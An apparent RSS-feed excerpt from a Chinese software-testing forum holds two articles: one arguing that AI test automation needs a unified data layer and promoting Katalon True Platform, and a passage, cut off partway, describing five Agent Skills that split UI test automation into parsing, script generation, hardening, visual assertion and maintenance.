&lt;p&gt;智能测试自动化这个词如今被行业广泛使用。几乎每个测试工具都加入了 AI 功能：自动生成测试用例、智能定位器修复、断言建议、异常检测。但真正意义上的智能必须具备记忆。它需要能够基于不断积累的经验进行推理，而不只是处理当前输入。&lt;/p&gt;

&lt;p&gt;大多数 AI 测试工具并没有这样的记忆。每次运行都是无状态的。测试生成器不知道上个迭代周期失败了什么，不稳定测试检测器不知道用户实际走过哪些流程，整个技术栈也不知道生产环境正在发生什么。所谓智能测试自动化，很多时候只是为单个功能接入语言模型，让自动化跑得更快。&lt;/p&gt;

&lt;p&gt;两者的区别归根结底只有一点：系统会不会积累每次测试运行、每次部署和每个生产信号中的上下文，还是在流水线结束的瞬间把它们丢弃。统一数据层提供的正是这种累积上下文，而它带来的复合式提升，才让每次测试都比上一次更智能。&lt;/p&gt;
&lt;h2 id="智能测试自动化为何不智能"&gt;智能测试自动化为何不智能&lt;/h2&gt;
&lt;p&gt;问题不在于 AI 测试功能不起作用。很多功能单独使用时表现不错，真正的问题在于彼此割裂。&lt;/p&gt;

&lt;p&gt;当 AI 能力以功能形式叠加在一个个点状解决方案上时，每项能力只能使用一小块上下文。测试用例生成器看到的是需求文档，执行引擎看到的是通过或失败的结果，监控工具看到的是生产环境的错误日志。它们彼此不共享信息，也就无法基于完整情况进行推理。&lt;/p&gt;

&lt;p&gt;这种割裂会产生一个隐蔽但影响重大的后果：AI 生成的代码在每个拉取请求中包含的问题数量，是人工编写代码的1.7 倍。CodeRabbit 的报告显示，但团队最依赖的那些问题发现工具，却记不住哪些失败模式会反复出现。&lt;/p&gt;

&lt;p&gt;每次调试都从零开始。每个迭代周期，自动化工程师都在调查上个月已经调查过的同类失败，因为平台没有保留此前发生了什么的组织记忆（institutional memory）。&lt;/p&gt;

&lt;p&gt;速度提升了，但质量智能没有积累。你可以更快地运行更多测试，但测试本身并没有变得更聪明。自动化吞吐量与真正的质量智能之间的差距，正是统一数据层要弥合的地方。&lt;/p&gt;
&lt;h2 id="统一数据层三大区域"&gt;统一数据层三大区域&lt;/h2&gt;
&lt;p&gt;统一数据层不是数据库，也不是报告仪表盘。它是一个实时共享的质量上下文基础。测试平台中的每个模块、智能体和工作流都从中读取信息，再把结果写回其中，且这些上下文会跨每次运行持久保存。它覆盖三个不同区域，每个区域都从不同方向拓展平台的智能能力。&lt;/p&gt;
&lt;h2 id="开发上下文"&gt;开发上下文&lt;/h2&gt;
&lt;p&gt;第一个区域描述软件应该做什么：需求、用户故事、验收标准和设计规格。当这些上下文成为测试平台基础的一部分，而不是被隔离在单独的工单系统中时，AI 智能体就能根据明确的意图生成测试用例，而不只是从代码结构推测行为。&lt;/p&gt;

&lt;p&gt;这个区别比看上去更重要。代码即使正确实现了错误的需求，也能通过自动化测试，最终仍然把缺陷带到生产环境。基于开发上下文构建的智能测试自动化，了解系统应该实现什么，而不只是系统当前实现了什么，因此能在问题进入生产环境前发现这种错配。&lt;/p&gt;
&lt;h2 id="测试历史"&gt;测试历史&lt;/h2&gt;
&lt;p&gt;第二个区域记录已经测试过的内容、哪些地方容易出问题、哪些路径从未被执行，以及哪些失败是真实回归，哪些只是环境噪声。持续测试 (continuous testing) 在这里不再是一套静态规范，而开始成为一个学习系统。&lt;/p&gt;

&lt;p&gt;能够保留并分析测试历史的平台，可以随着时间推移越来越准确地判断：针对某次变更，应用的哪些区域具有最高的回归风险。&lt;/p&gt;

&lt;p&gt;CodeRabbit 的数据由 The Register 报道：AI 生成的拉取请求平均包含10.83 个问题，而人工编写代码的拉取请求平均包含6.45 个问题。拥有丰富测试历史的团队，可以把评审精力集中到风险真正集中的组件上，而不必把每个拉取请求都当成同样未知。&lt;/p&gt;
&lt;h2 id="生产行为"&gt;生产行为&lt;/h2&gt;
&lt;p&gt;第三个区域是只覆盖测试阶段的平台无法复现的部分：真实用户旅程、会话模式，以及线上流量中的错误率。用户实际做的事情，很少与需求最初预想的完全一致。生产环境中只出现在3% 会话里的边界情况，不会出现在根据规格文档编写的测试场景中。&lt;/p&gt;

&lt;p&gt;当生产行为反馈到测试平台的上下文层后，你测试的就不再只是团队想象中的应用，而是用户真正体验到的应用。&lt;/p&gt;

&lt;p&gt;这就补上了仅依靠需求设计的测试在结构上无法独自闭合的环路，也正是平台从自动化走向真正智能的关键。&lt;/p&gt;
&lt;h2 id="数据飞轮让测试越用越智能"&gt;数据飞轮让测试越用越智能&lt;/h2&gt;
&lt;p&gt;统一数据层最重要的特性，并不是三个区域中的任何一个单独存在，而是它们共同形成的反馈闭环。统一上下文不是线性地带来改进，而是形成一个复利式增长的数据飞轮。每一轮都会让下一轮变得更智能。&lt;/p&gt;

&lt;p&gt;实际运行过程如下：&lt;/p&gt;

&lt;p&gt;一次测试运行完成后，结果、耗时数据、失败特征和覆盖率指标都会写回共享数据层。它们不会被孤立地放进某份归档报告，而会作为实时上下文提供给后续每个智能体和工作流。&lt;/p&gt;

&lt;p&gt;下一次运行时，AI 智能体读取已经积累的历史。测试用例生成会根据真实失败模式优先处理高风险区域，而不是只看当前差异代码的覆盖率。持续集成和持续交付 (CI/CD) 流水线中的测试选择，也会参考过去真正发生过的问题。这样，流水线运行的是最可能捕获实际问题的测试，而不是整套测试。&lt;/p&gt;

&lt;p&gt;在两次发布之间，生产行为会持续反馈回来。真实用户旅程会暴露测试设计尚未覆盖的路径。平台根据用户实际行为推荐新的测试场景，补上需求文档无法识别的覆盖率缺口。&lt;/p&gt;

&lt;p&gt;每一轮都比上一轮更智能。这并不是因为底层 AI 模型变强了，而是因为它处理的上下文逐步变得更丰富、更具体。&lt;/p&gt;

&lt;p&gt;看一个具体例子：某个结账流程在预发布环境中通过率为100%，但线上有3% 的用户会因为某种地区性支付方式处理会话超时的方式不同而失败。没有生产数据的测试平台无法感知这个缺口。拥有统一数据层的平台会接收生产行为数据，自动发现问题，将它加入下一轮测试规划可用的上下文，并在下一次发布前生成一个针对性的测试场景。&lt;/p&gt;
&lt;h2 id="统一数据层的收益"&gt;统一数据层的收益&lt;/h2&gt;
&lt;p&gt;对于自动化架构师和 QA 工程负责人来说，这个数据飞轮会带来四个具体变化。团队在统一数据基础上运行的时间越长，这些变化就越明显。&lt;/p&gt;

&lt;p&gt;更少的误报。测试历史可以区分真正不稳定的测试和真实回归。随着失败模式不断积累，平台会更擅长按类型对失败进行分类：间歇性的基础设施超时、特定环境问题，以及真实的应用缺陷。团队不必每个迭代周期都重新调查同一个误报。对于成熟的测试套件来说，仅这一点就能释放出可观的工程时间。&lt;/p&gt;

&lt;p&gt;真正体现风险的测试选择。建立在真实失败历史之上的测试影响分析 (test impact analysis)，不再只看代码差异覆盖率，而是识别针对某项具体变更最有可能捕获回归的测试。SmartBear 报告显示，68% 的组织认为 AI 驱动的开发已经造成测试瓶颈。更智能的测试选择，是解决这一瓶颈最直接的方式之一，同时不必用覆盖率换取速度。&lt;/p&gt;

&lt;p&gt;由生产行为提供依据的回归测试。新版本会根据用户实际的操作方式进行测试。随着 AI 生成代码加快变更速度，这一点尤其重要。需要评估的风险范围，增长速度快于任何团队手工扩展覆盖率的速度，因此测试选择的智能程度也必须同步扩展。&lt;/p&gt;

&lt;p&gt;积累的质量记忆。让新成员加入团队，或接入新的 AI 智能体，并不意味着一切都要从零开始。平台保存着每次测试运行、每种失败模式和每个生产信号所形成的组织知识。随着时间推移，这些上下文的价值会不断叠加。测试平台使用得越久，价值越高；碎片化的点状解决方案往往恰恰相反。&lt;/p&gt;
&lt;h2 id="持续测试与持续质量智能"&gt;持续测试与持续质量智能&lt;/h2&gt;
&lt;p&gt;持续测试作为一种实践已经较为成熟：把测试集成到流水线的每个阶段，在每次提交时运行测试，并将质量决策左移。这套基础是可靠且必要的。&lt;/p&gt;

&lt;p&gt;统一数据层带来了下一步：持续质量智能。平台不仅持续运行测试，还会根据积累的上下文持续改进测试本身的质量。&lt;/p&gt;

&lt;p&gt;这个区别很重要，因为需要验证的代码量正在以任何团队都无法靠人工跟上的速度增长。AI 编程助手生成的拉取请求数量更多、涉及范围更广、边界情况也更多，已经超出过去人工编写代码的规模。在这种环境下，要维持质量交付速度，就需要使用会随着规模增长而变得更智能的智能测试自动化，而不是把每次运行都当成孤立事件的平台。&lt;/p&gt;

&lt;p&gt;这也是测试可观测性 (test observability)不应只是报告功能的原因。在统一数据层的语境下，测试可观测性意味着能够把积累的测试上下文当作一个实时系统进行查询：不只是问测试是否通过，还要问这个组件在最近20 个版本中的趋势如何，以及哪些用户旅程从未在真实规模下被执行过。只有当数据覆盖完整生命周期并且能够长期持久化时，平台才可能进行这种推理。&lt;/p&gt;

&lt;p&gt;对于评估平台整合方案的业务决策者来说，这完全重塑了投入产出比 (ROI) 问题。统一质量平台的价值，不仅在于通过消除工具蔓延降低成本，更在于 AI 每次运行都会变得更好，从而带来的复合式质量提升。&lt;/p&gt;

&lt;p&gt;一个平台如果在第一个月就从某个质量智能基线起步，并从此不断积累能力，那么它与一个始终只提供同一种孤立能力的点状解决方案，在投资逻辑上存在结构性差异。&lt;/p&gt;
&lt;h2 id="智能测试的架构决策"&gt;智能测试的架构决策&lt;/h2&gt;
&lt;p&gt;所有智能测试自动化决策的核心，都有一个直接的问题：你的平台会记住自己学到的东西，还是每次都重新开始？&lt;/p&gt;

&lt;p&gt;你运行的每个测试，要么被丢弃，要么成为一项投资。如果测试结果消失在某个信息孤岛中，它就是被丢弃了；如果结果加入共享上下文层，让下一次以及之后的每次运行都更智能、更准确、更符合真实风险，它就是一项投资。&lt;/p&gt;

&lt;p&gt;统一数据层是把测试历史转化为复合式质量资产的基础设施。它区分了 AI 功能和 AI 智能，也决定了测试套件会不会在第 300 天依旧像第 1 天一样脆弱，还是会在每次运行后持续改进。&lt;/p&gt;

&lt;p&gt;Katalon 将这种复合式架构构建进了 True Platform：统一上下文覆盖开发、测试和生产，让每个智能体、每轮测试和每次发布都建立在此前积累的基础上。它不是一组 AI 功能，而是一个能够学习的系统。&lt;/p&gt;

&lt;p&gt;如果想看一个通过 MCP 连接的智能体如何端到端读取并操作这一层，可以参考：Claude Code 如何通过 MCP Server 驱动 Katalon True Platform。&lt;/p&gt;

&lt;hr&gt;

&lt;p&gt;相关阅读&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/_8MyUTdQ4BvGq5qnFW-Ucw" rel="nofollow" target="_blank" title=""&gt;AI 写的快，回归测试要跟上&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/aHTbwBb9LkzPLWik0QgQRw" rel="nofollow" target="_blank" title=""&gt;看懂 AI 测试工具的四种类型&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/me2lLm1QqwG5uFQRVcLjLA" rel="nofollow" target="_blank" title=""&gt;构建 AI Agent，先设计上下文系统&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/1L8EE7SyOPtswGru_sxSoQ" rel="nofollow" target="_blank" title=""&gt;功能 QA 进化：从执行到质量系统&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/viXaPROvY2EqxB_AA_bKIw" rel="nofollow" target="_blank" title=""&gt;拒绝拍脑袋，AI 测试的工程化实践&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##### FunTester 名片｜万粉千文，百无一用&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/o1dGKThvC64LvJDnKLybOw" rel="nofollow" target="_blank" title=""&gt;软件测试的道与术&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/MFgZ3Btx0TKOd5sFGFDxcg" rel="nofollow" target="_blank" title=""&gt;测试开发成长史&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/wyyn32HrwmH5uV8F0d2HDQ" rel="nofollow" target="_blank" title=""&gt;AI ，测试有点东西&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/5ssJH4yOE3H1Vk4ziJ0Bdg" rel="nofollow" target="_blank" title=""&gt;《从 Java 开始性能测试》连载全集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/3ilD1fnJFo9Gt8puO7zFiQ" rel="nofollow" target="_blank" title=""&gt;性能测试修炼之道&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/t2k6IITzaFicaEi77iZ5tA" rel="nofollow" target="_blank" title=""&gt;故障测试与混沌工程实战合集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mp.weixin.qq.com/s/CSE2UmQNFrHaEnyyM4U41w" rel="nofollow" target="_blank" title=""&gt;我的语言迁徙：Java &amp;amp; Groovy &amp;amp; Go&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <author>Fhaohaizi</author>
      <pubDate>Sat, 08 Aug 2026 14:11:17 +0800</pubDate>
      <link>https://testerhome.com/topics/44592</link>
      <guid>https://testerhome.com/topics/44592</guid>
    </item>
    <item>
      <title>AI 测试提效 ｜ 别搞万能 Skill，推荐用 5 个 Agent Skill 串起 UI 自动化全流程</title>
      <description>&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806124659349.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;做过 UI 自动化的团队，几乎都经历过这个死循环：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;抓元素&lt;/strong&gt;，打开 DevTools 逐个复制 XPath，一个页面几十上百个元素，抓到眼花。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;写脚本&lt;/strong&gt;，从零搭 POM 类、写用例、造数据，一行行敲，一敲就是几天。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;跑通了&lt;/strong&gt;，勉强能 demo，一上 CI 环境就各种挂——超时、弹窗、异步加载、iframe 切不进去。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;前端改版了&lt;/strong&gt;，元素属性变了、组件替换了，之前的定位策略大面积失效。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;修脚本&lt;/strong&gt;，修完这轮，下轮改版继续挂。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;写脚本 3 天，修脚本 2 周。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这就是 UI 自动化的现实。它也是整个测试体系中，最「脆弱」、最「烧钱」、也最需要 AI 赋能的环节。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;那能不能用 Agent Skill，把 UI 自动化从页面解析到脚本维护的整条链路，全部串起来？&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;答案是，可以。而且效果比你想象的好得多。&lt;/p&gt;

&lt;p&gt;核心思路就一句话，&lt;strong&gt;AI 负责解析、生成、增强和维护，人负责校验和决策。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;但这里有一个关键问题，&lt;strong&gt;不能搞「万能 Skill」，要按职责拆成「专业 Skill」。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这篇文章，就带你完整看清楚，一套 4+1 个 Agent Skill 是怎么串起 UI 自动化全流程的。&lt;/p&gt;
&lt;h2 id="一、UI 自动化的痛，远不止抓元素"&gt;一、UI 自动化的痛，远不止抓元素&lt;/h2&gt;
&lt;p&gt;很多团队一提到 UI 自动化的痛点，第一反应就是「抓元素慢」。但实际上，&lt;strong&gt;抓元素只是冰山一角。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;从页面解析到脚本维护，UI 自动化的每一个环节都有让人崩溃的地方：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;环节&lt;/th&gt;
&lt;th&gt;痛点&lt;/th&gt;
&lt;th&gt;典型表现&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;页面解析&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人工逐个抓元素，慢且遗漏多&lt;/td&gt;
&lt;td&gt;一个页面 100+ 元素，逐个检查属性、复制定位，3 天搞不完&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;脚本编写&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;POM + 用例 + 数据，从零手写&lt;/td&gt;
&lt;td&gt;页面对象类、测试用例、测试数据全靠人工编写，效率极低&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;脚本执行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;缺等待、缺异常处理，总挂&lt;/td&gt;
&lt;td&gt;demo 级脚本能跑，上 CI 就挂——超时、弹窗、iframe、偶发失败&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;视觉验证&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DOM 断言测不出样式问题&lt;/td&gt;
&lt;td&gt;元素在、文本对，但布局错位、样式崩塌，断言全部通过&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;长期维护&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;前端改版，脚本大面积失效&lt;/td&gt;
&lt;td&gt;元素属性变了、组件替换了，之前的定位策略全部报废&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;团队协作&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;每个人风格不同，质量参差不齐&lt;/td&gt;
&lt;td&gt;抓元素方式、定位策略、命名规范各写各的，维护成本极高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;strong&gt;这六个环节的痛点，单靠一个 Skill 解决不了。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;很多新手容易踩的坑：想做一个「万能 Skill」，输入一个页面 URL，直接输出完美脚本。一个技能包揽页面解析、元素定位、脚本生成、视觉断言、执行维护，结果逻辑臃肿、维护困难、扩展受限。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806125923459.png" title="" alt="image.png"&gt;&lt;/p&gt;

&lt;p&gt;正确的做法是，&lt;strong&gt;按职责拆分，每个 Skill 只做一件事，做到极致。&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id="二、4+1 Skill 全流程架构"&gt;二、4+1 Skill 全流程架构&lt;/h2&gt;
&lt;p&gt;先看全貌。整套 UI 自动化的 AI 赋能链路，由 &lt;strong&gt;4 个核心 Skill + 1 个可选 Skill&lt;/strong&gt; 组成，形成完整闭环（其实当前不算整套闭环，还有执行、自愈、报告生成等 7 个核心 skill 还没讲）：&lt;/p&gt;
 &lt;table class="table-responsive table table-bordered table-striped"&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;th&gt;Skill&lt;/th&gt;
&lt;th&gt;核心职责&lt;/th&gt;
&lt;th&gt;解决什么痛点&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-page-parser&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;页面元素结构化解析&lt;/td&gt;
&lt;td&gt;人工逐个抓取元素慢、定位脆弱、页面信息不标准&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-testscript-generator&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;UI 测试脚本批量生成&lt;/td&gt;
&lt;td&gt;人工编码慢、POM 规范难落地、定位策略不统一&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-testscript-enhancer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;脚本健壮性增强&lt;/td&gt;
&lt;td&gt;缺少等待机制、异常处理、弹窗拦截、失败截图&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ui-visual-assert&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;视觉断言与多浏览器适配&lt;/td&gt;
&lt;td&gt;DOM 断言不够、多浏览器兼容成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;ui-auto-maintainer&lt;/strong&gt;（可选）&lt;/td&gt;
&lt;td&gt;智能维护与自愈&lt;/td&gt;
&lt;td&gt;页面变更导致脚本失效、维护成本高&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt; 
&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260806125813244.png" title="" alt="image.png"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;这几个 Skill 形成完整闭环：&lt;/strong&gt; &lt;code&gt;解析 → 生成 → 增强 → 适配 → 维护&lt;/code&gt;，既能串联使用，也能独立调用。&lt;/p&gt;
 &lt;pre class="highlight shell"&gt;&lt;code&gt;页面 URL / DOM 结构 / 用例描述
  │
  ▼
ui-page-parser ──→ 标准化页面对象定义 &lt;span class="o"&gt;(&lt;/span&gt;pages.yaml&lt;span class="o"&gt;)&lt;/span&gt;
  │
  ├──→ ui-testscript-generator ──→ POM 类 + 测试脚本 + 测试数据
  │         │
  │         ▼
  │   ui-testscript-enhancer ──→ 健壮性增强（等待+异常+弹窗+验证码+截图）
  │         │
  │         ▼
  │   ui-visual-assert ──→ 视觉断言 + 响应式适配 + 多浏览器兼容
  │         │
  │         ▼
  │   ui-auto-maintainer ──→ 页面变更检测 + 定位自愈 + 基线更新
  │
  └──→ pages.yaml 也可直接用于前端组件文档生成、无障碍审计
&lt;/code&gt;&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;为什么这么拆？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;三个原则：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;单一职责&lt;/strong&gt;：每个 Skill 只做一类核心动作（解析、生成、增强、适配、维护），避免功能耦合。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;闭环衔接&lt;/strong&gt;：前一个 Skill 的输出是后一个 Skill 的输入，形成完整的自动化链路。&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;灵活复用&lt;/strong&gt;：每个 Skill 都能独立调用。比如你只想梳理页面元素，单独用 &lt;code&gt;ui-page-parser&lt;/code&gt; 就行；只想增强脚本健壮性，单独用 &lt;code&gt;ui-testscript-enhancer&lt;/code&gt; 也行。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;接下来，逐个拆清楚每个 Skill 的定位和作用。&lt;/p&gt;
&lt;h2 id="三、逐个拆解：每个 Skill 的定位与作用"&gt;三、逐个拆解：每个 Skill 的定位与作用&lt;/h2&gt;&lt;h3 id="Skill 1：ui-page-parser — 页面元素结构化解析"&gt;Skill 1：ui-page-parser — 页面元素结构化解析&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：UI 数据预处理 Skill，整条链路的地基。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;所有后续的脚本生成、增强、视觉断言，都依赖这一步的输出。解析不准，后面全部不可靠。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170137830.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;传统模式下，测试工程师需要打开浏览器 DevTools，逐个检查元素属性、复制 XPath / CSS Selector、分析页面加载时序、梳理交互流程。面对现代前端框架构建的单页应用，元素的动态生成和异步加载让这个过程格外痛苦。&lt;/p&gt;

&lt;p&gt;让人工梳理一个 20 个页面的系统，每个页面平均 100 个可交互元素，可能需要 3-5 天，还容易遗漏动态元素、iframe 嵌套、Shadow DOM。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;全站自动遍历&lt;/strong&gt;：从一个入口 URL 出发，基于 BFS 爬虫机制自动发现并抓取全站页面，不需要逐个提供 URL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;认证页面解析&lt;/strong&gt;：通过 CDP 连接复用登录态，解析需要登录才能访问的页面&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;智能定位策略推导&lt;/strong&gt;：按优先级自动推导最稳定的定位策略（&lt;code&gt;data-testid&lt;/code&gt; &amp;gt; 语义化定位 &amp;gt; CSS &amp;gt; XPath）&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;页面元素结构化提取&lt;/strong&gt;：元素名称、类型、交互方式、等待条件、关联校验&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;交互链路解析&lt;/strong&gt;：主流程步骤、异常分支、页面状态迁移&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;隐性规则识别&lt;/strong&gt;：弹窗触发条件、异步加载模式、iframe 嵌套关系&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;自动截图归档&lt;/strong&gt;：每个页面抓取时自动保存截图，方便核对&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;页面 URL（自动抓取 DOM）&lt;/li&gt;
&lt;li&gt;页面 HTML/DOM 结构文件&lt;/li&gt;
&lt;li&gt;前端组件源码（React/Vue/Angular）&lt;/li&gt;
&lt;li&gt;自然语言用例描述（AI 推断页面结构）&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;输出：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;标准化的 &lt;code&gt;pages.yaml&lt;/code&gt;，包含每个页面的基本信息、元素清单（含多级定位策略）、交互链路、页面状态。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170727397.png" title="" alt=""&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260729170841534.png" title="" alt=""&gt;&lt;br&gt;
&lt;strong&gt;核心价值：&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;替代人工逐个抓取元素、分析页面结构，把数小时甚至数天的体力劳动压缩到几分钟。解析逻辑本身重复且专业，单独封装成独立 Skill，既作为后续所有 Skill 的标准输入，也可被非测试场景复用（如前端组件文档生成、无障碍审计）。&lt;/p&gt;
&lt;h3 id="Skill 2：ui-testscript-generator — 页面对象与测试脚本批量生成"&gt;Skill 2：ui-testscript-generator — 页面对象与测试脚本批量生成&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;定位：基于结构化页面定义，一次性批量生成 POM 类、测试脚本、定位策略和测试数据。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529134346782.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;它解决什么问题？&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pages.yaml&lt;/code&gt; 拿到手了，但要把这些结构化的页面定义变成真正能跑的测试脚本，传统方式下还是得人工从零编写 POM 类、逐条编写用例、逐条构造测试数据。一个登录页可能还好，但如果是 20 个页面、每个页面几十个元素、每个元素要覆盖正向/边界/异常/安全多种场景，这个工作量是爆炸的。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;核心能力：&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;测试数据智能构造&lt;/strong&gt;：基于页面表单字段定义，自动生成正向数据、边界值数据、非法格式数据、空值/缺失数据、SQL 注入/XSS 数据、超长/超量数据、业务规则冲突数据&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;POM 类自动生成&lt;/strong&gt;：每个页面对应一个 POM 类，封装元素定位与业务操作方法，自动处理动态 ID、iframe 嵌套、Shadow DOM&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;智能定位策略落地&lt;/strong&gt;：优先 &lt;code&gt;data-testid&lt;/code&gt;，其次语义化定位（&lt;code&gt;getByRole&lt;/code&gt;/&lt;code&gt;getByLabel&lt;/code&gt;/&lt;code&gt;getByText&lt;/code&gt;），兜底 CSS Selector，禁止长 XPath&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;测试用例自动生成&lt;/strong&gt;：按场景分类（Normal/Exception/Boundary/Security），自动绑定测试数据，自动补充多维度断言&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;标准化逻辑补全&lt;/strong&gt;：智能等待、异常处理、失败截图、Allure 注解&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;一个关键设计决策：数据生成与脚本生成合并&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;UI 测试的数据构造与脚本编写高度耦合——同一表单字段的测试数据直接驱动对应的页面操作步骤。因此将两者合并为一个综合 Skill，比拆分为独立 Skill 更符合 UI 自动化的实际工作流。用户只需输入页面定义，一步拿到完整可运行的项目。&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529135628802.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529135806870.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src="https://image.kjdaohang.com/img/20260529140037808.png" title="" alt="img"&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;输入：&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
